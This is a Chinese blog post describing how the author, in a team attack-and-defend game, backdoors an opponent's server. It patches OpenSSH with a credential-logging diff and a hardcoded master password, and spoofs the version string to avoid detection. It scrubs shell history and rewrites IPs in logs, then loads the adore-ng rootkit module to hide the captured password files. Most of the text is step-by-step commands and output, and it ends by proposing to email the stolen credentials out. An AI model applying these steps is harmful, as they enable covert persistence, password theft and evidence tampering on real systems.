擂台赛-安全攻防之使用openssh后门获取root密码实战
创始人
2025-05-29 15:38:48
0

前言

大家好,我是沐风晓月,我们开始组队学习了,介绍下我们的情况:

这几天跟队员 迎月,虹月,心月,古月打擂台,我和心月一组,相互攻占对方服务器。 终于在今早凌晨三点拿下对方服务器的权限。

接下来我们第一想做的就是如何维持这个权限,还要不被对方发现。

关于维持权限,我们第一时间想到的就是在对方服务器留下一个后门,搜索了很多资料,发现这个openssh的后门正合我意。

于是开干。。。

文章目录

  • 前言
  • 一. 配置实验环境
  • 二. 对openssh-5.9p1 打后门漏洞补丁
    • 2.1 解压
    • 2.2 打补丁
    • 2.3 修改后门密码和记录位置
    • 2.4 安装打了后门补丁的sshd服务
    • 2.5 启动并查看版本号
  • 三. 测试
    • 3.1 测试能否记录用户名和密码
    • 3.2 修改了密码还能否记录
    • 3.3 .能否记录普通用户密码
    • 3.4 测试 后门密码是否可以登录
    • 3.5 清理本次登录的脚印
  • 四. 安装adore-ng
    • 4.1 安装的过程
    • 4.2 隐藏文件
    • 4.3 测试文件是否还能被找到
  • 总结

在这里插入图片描述

一. 配置实验环境

为了确保修改对方openssh后,还能不被古月她们发现,我们先检查了对方服务器的ssh版本和gcc版本

  1. 检查ssh 版本
[root@mufeng ~]# ssh -v
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013
  1. 检查gcc是否已经安装
 [root@mufeng ~]# yum install gcc gcc-c++ -y

然后开始上环我们需要的包,安装完成后,再把包全部删掉即可:

  1. 上传我们需要的包

上传0x06-openssh-5.9p1.patch.tar.gz , openssh-5.9p1.tar.gz ,inotify-tools-3.13.tar.gz 到linux 的/software目录

[root@mufeng ~]# mkdir /software
[root@mufeng ~]# cd !$
cd /software
[root@mufeng software]# yum install lr* -y &>/dev/null && echo "ok"
ok[root@mufeng software]# rz   ## 上传软件包
[root@mufeng software]# ls
0x06-openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
inotify-tools-3.13.tar.gz        sshpass-1.06.tar.gz

上传完成包之后,开始对打补丁并进行安装:

二. 对openssh-5.9p1 打后门漏洞补丁

2.1 解压

[root@mufeng software]# tar xf openssh-5.9p1.tar.gz 
You have mail in /var/spool/mail/root
[root@mufeng software]# tar xf 0x06-openssh-5.9p1.patch.tar.gz 
[root@mufeng software]# ls
0x06-openssh-5.9p1.patch.tar.gz  openssh-5.9p1        openssh-5.9p1.tar.gz
inotify-tools-3.13.tar.gz        openssh-5.9p1.patch  sshpass-1.06.tar.gz
[root@mufeng software]# 

2.2 打补丁

[root@mufeng software]# cp openssh-5.9p1.patch/sshbd5.9p1.diff  openssh-5.9p1/
[root@mufeng software]# cd !$
cd openssh-5.9p1/
[root@mufeng openssh-5.9p1]# patch < sshbd5.9p1.diff 
patching file auth.c  # 认证
patching file auth-pam.c # 认证
patching file auth-passwd.c # 认证
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c  # 关于ssh 服务器
patching file sshconnect2.c  ## ssh 连接
patching file sshlogin.c  ## 关于登录,记录root密码
patching file version.h  ## 关于版本

2.3 修改后门密码和记录位置

[root@mufeng openssh-5.9p1]# tail -6 includes.h 
int secret_ok;
FILE *f;
#define ILOG "/tmp/ilog"  ## 记录登录到本机的用户名和密码
#define OLOG "/tmp/olog" #  记录本机登录其他服务器用户名和密码
#define SECRETPW "mufeng123" # 后门密码
#endif /* INCLUDES_H */
[root@mufeng openssh-5.9p1]# 

修改版本号(修改的和原来一致)

[root@mufeng openssh-5.9p1]# cat version.h 
/* $OpenBSD: version.h,v 1.62 2011/08/02 23:13:01 djm Exp $ */#define SSH_VERSION	"OpenSSH_5.3"#define SSH_PORTABLE	"p1"
#define SSH_RELEASE	SSH_VERSION SSH_PORTABLE
[root@mufeng openssh-5.9p1]# 

在这里插入图片描述

2.4 安装打了后门补丁的sshd服务

[root@mufeng openssh-5.9p1]# yum install -y openssl openssl-devel pam-devel zlib zlib-devel >/root/instal.txt && echo "ok"

开始编译安装

[root@mufeng openssh-5.9p1]# ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5[root@mufeng openssh-5.9p1]# make && make install

2.5 启动并查看版本号

[root@mufeng openssh-5.9p1]# service sshd restart
停止 sshd:                                                [确定]
正在启动 sshd:                                            [确定]
[root@mufeng openssh-5.9p1]# ssh -V
OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

这里一定要设置的与ssh原来的版本号一致,要不然就暴露了。

三. 测试

测试主要基于以下几点:

  1. 测试是否可以记录对方登录服务器的账号和密码
  2. 测试在用户修改密码后,还能继续记录账号和密码
  3. 测试是否可以记录普通用户的密码
  4. 测试是否可以使用后门漏洞密码登录系统

3.1 测试能否记录用户名和密码

root@mufeng tmp]# ssh 192.168.1.43
The authenticity of host '192.168.1.43 (192.168.1.43)' can't be established.
ECDSA key fingerprint is bf:a1:c7:0d:6c:4b:e4:19:f5:b8:16:e3:f8:4a:e5:5c.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.43' (ECDSA) to the list of known hosts.
root@192.168.1.43's password: 
Last login: Fri Mar 17 14:40:10 2023 from 192.168.1.4
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# ls
ilog            olog            
##查看是否可以记录密码
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
## 包含用户名+密码+IP
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
[root@mufeng tmp]# 

以上证明了,可以记录对方的账号和密码

3.2 修改了密码还能否记录

测试过程代码:

[root@mufeng tmp]# echo 1234567890 |passwd --stdin root
更改用户 root 的密码 。
passwd: 所有的身份验证令牌已经成功更新。
[root@mufeng tmp]# ssh 192.168.1.43 
root@192.168.1.43's password: 
Last login: Fri Mar 17 15:03:29 2023 from 192.168.1.43
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
user:password --> root:1234567890
[root@mufeng tmp]# 

以上证明了即使对方修改了密码,也一样可以记录。

3.3 .能否记录普通用户密码

[root@mufeng tmp]# useradd mufeng
[root@mufeng tmp]# echo 123456 |passwd --stdin mufeng
更改用户 mufeng 的密码 。
passwd: 所有的身份验证令牌已经成功更新。
[root@mufeng tmp]# ssh mufeng@192.168.1.43
mufeng@192.168.1.43's password: 
[mufeng@mufeng ~]$ whoami
mufeng
[mufeng@mufeng ~]$ exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat ilog 
user:password --> root:12345678
user:password --> root:1234567890
user:password --> mufeng:123456
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
[root@mufeng tmp]# 

以上代码成功的记录了,对方使用普通用户登录时的用户名和密码

3.4 测试 后门密码是否可以登录

[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
[root@mufeng tmp]# ssh root@192.168.1.43
root@192.168.1.43's password: 
Last login: Fri Mar 17 15:05:42 2023 from 192.168.1.43
[root@mufeng ~]# exit
logout
Connection to 192.168.1.43 closed.
[root@mufeng tmp]# cat olog 
user:password@host --> root:12345678@192.168.1.43
user:password@host --> root:1234567890@192.168.1.43
user:password@host --> mufeng:123456@192.168.1.43
user:password@host --> root:mufeng123@192.168.1.43
[root@mufeng tmp]# 

在这里插入图片描述

3.5 清理本次登录的脚印

一定要清除掉自己登录的IP信息

[root@mufeng ~]# export HISTFILE=/dev/null
You have mail in /var/spool/mail/root
[root@mufeng ~]# export HISTSIZE=
[root@mufeng ~]# export HISTFILESIZE=
[root@mufeng ~]# echo >/root/.bash_history
# 这种清除方式,要确保一开始没有历史记录,如果有历史记录,可以用sed的方式替换
[root@mufeng ~]# sed -i 's/192.168.1.43/127.0.0.1/g' /root/.bash_history
## 其他访问日志也可以用用sed替换ip , 瞒天过海

接下来要把生成的文件进行隐藏,本次隐藏,我们沐风晓月组采用的是adore-ng, 这个工具是以模块的方式运行的,就类似于你电脑上的声卡,只要隐藏的好很难被发现。

这里我只写对两个文件/tmp/olog/tmp/ilog进行隐藏,其他的文件和目录也是同样的方法。

四. 安装adore-ng

4.1 安装的过程

  • 安装依赖包
[root@mufeng ~]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm 
warning: /mnt/Packages/kernel-devel-2.6.32-696.el6.x86_64.rpm: Header V3 RSA/SHA1 Signature, key ID c105b9de: NOKEY
Preparing...                ########################################### [100%]1:kernel-devel           ########################################### [100%]
  • 上传需要adore-ng
[root@mufeng ~]# rz解压
[root@mufeng ~]# unzip adore-ng-master.zip [root@mufeng ~]# cd adore-ng-master
[root@mufeng adore-ng-master]# ls
adore-ng.c  ava.c           libinvisible.h  Makefile
adore-ng.h  libinvisible.c  LICENSE         README.md
  • 开始安装
安装
[root@mufeng adore-ng-master]# make 
加载模块
[root@mufeng adore-ng-master]# insmod adore-ng.ko
[root@mufeng adore-ng-master]# 
  • 查看命令是否安装
  [root@mufeng adore-ng-master]# ./ava hUsage: ./ava {h,u,r,R,i,v,U} [file or PID]I print info (secret UID etc)h hide file  # 隐藏文件u unhide file  ## 不隐藏r execute as root  ## 像root一样去运行R remove PID foreverU uninstall adorei make PID invisible  ## 隐藏进程v make PID visible

4.2 隐藏文件

需要隐藏 ilog, olog

[root@mufeng adore-ng-master]# ./ava h /tmp/ilog  
56,0,0,56
Adore 1.56 installed. Good luck.
File '/tmp/ilog' is now hidden.
[root@mufeng adore-ng-master]# [root@mufeng adore-ng-master]# ./ava h /tmp/olog 
56,0,0,56
Adore 1.56 installed. Good luck.
File '/tmp/olog' is now hidden.

查看是否隐藏成功:

在这里插入图片描述

4.3 测试文件是否还能被找到

  • 使用find查找
[root@mufeng tmp]# find ./ -mtime -1
./
./orbit-root
./orbit-root/linc-f46-0-4088aa9a676df
./gconfd-root
./gconfd-root/saved_state_db283d80792451243e0a59a40000002b

发现无法找到文件了

但当我们直接使用文件名查看内容的时候,还是可以查看的,说明文件并不是被删除了,而是被隐藏

在这里插入图片描述

总结

虹月组目前还未发现他们的服务已经被植入后门漏洞,今天心月提到可以再加上一个功能:邮件发送功能,实现当虹月组登录服务器,就能收到信息。

听起来是个好主意,下次补上。

好了以上是本文的全部内容,下次再见吧。

💕 好啦,这就是今天要分享给大家的全部内容了,我们下期再见!
💕 本文由沐风晓月原创,首发于CSDN博客, 博客主页:mufeng.blog.csdn.net
💕 每一次学习都很枯燥,单调,孤独,甚至看不到未来,每一次遇到问题都让人疑惑,焦虑,怀疑,甚至想要放弃。 但坚定的走下来,会收获很多。收获的不单单是技术的成长还有一颗强大的心。
💕 喜欢的话记得点赞收藏哦

相关内容

热门资讯

linux入门---制作进度条 了解缓冲区 我们首先来看看下面的操作: 我们首先创建了一个文件并在这个文件里面添加了...
C++ 机房预约系统(六):学... 8、 学生模块 8.1 学生子菜单、登录和注销 实现步骤: 在Student.cpp的...
JAVA多线程知识整理 Java多线程基础 线程的创建和启动 继承Thread类来创建并启动 自定义Thread类的子类&#...
【洛谷 P1090】[NOIP... [NOIP2004 提高组] 合并果子 / [USACO06NOV] Fence Repair G ...
国民技术LPUART介绍 低功耗通用异步接收器(LPUART) 简介 低功耗通用异步收发器...
城乡供水一体化平台-助力乡村振... 城乡供水一体化管理系统建设方案 城乡供水一体化管理系统是运用云计算、大数据等信息化手段࿰...
程序的循环结构和random库...   第三个参数就是步长     引入文件时记得指明字符格式,否则读入不了 ...
中国版ChatGPT在哪些方面... 目录 一、中国巨大的市场需求 二、中国企业加速创新 三、中国的人工智能发展 四、企业愿景的推进 五、...
报名开启 | 共赴一场 Flu... 2023 年 1 月 25 日,Flutter Forward 大会在肯尼亚首都内罗毕...
汇编00-MASM 和 Vis... Qt源码解析 索引 汇编逆向--- MASM 和 Visual Studio入门 前提知识ÿ...
【简陋Web应用3】实现人脸比... 文章目录🍉 前情提要🌷 效果演示🥝 实现过程1. u...
前缀和与对数器与二分法 1. 前缀和 假设有一个数组,我们想大量频繁的去访问L到R这个区间的和,...
windows安装JDK步骤 一、 下载JDK安装包 下载地址:https://www.oracle.com/jav...
分治法实现合并排序(归并排序)... 🎊【数据结构与算法】专题正在持续更新中,各种数据结构的创建原理与运用✨...
在linux上安装配置node... 目录前言1,关于nodejs2,配置环境变量3,总结 前言...
Linux学习之端口、网络协议... 端口:设备与外界通讯交流的出口 网络协议:   网络协议是指计算机通信网...
Linux内核进程管理并发同步... 并发同步并发 是指在某一时间段内能够处理多个任务的能力,而 并行 是指同一时间能够处理...
opencv学习-HOG LO... 目录1. HOG(Histogram of Oriented Gradients,方向梯度直方图)1...
EEG微状态的功能意义 导读大脑的瞬时全局功能状态反映在其电场结构上。聚类分析方法一致地提取了四种头表面脑电场结构ÿ...
【Unity 手写PBR】Bu... 写在前面 前期积累: GAMES101作业7提高-实现微表面模型你需要了解的知识 【技...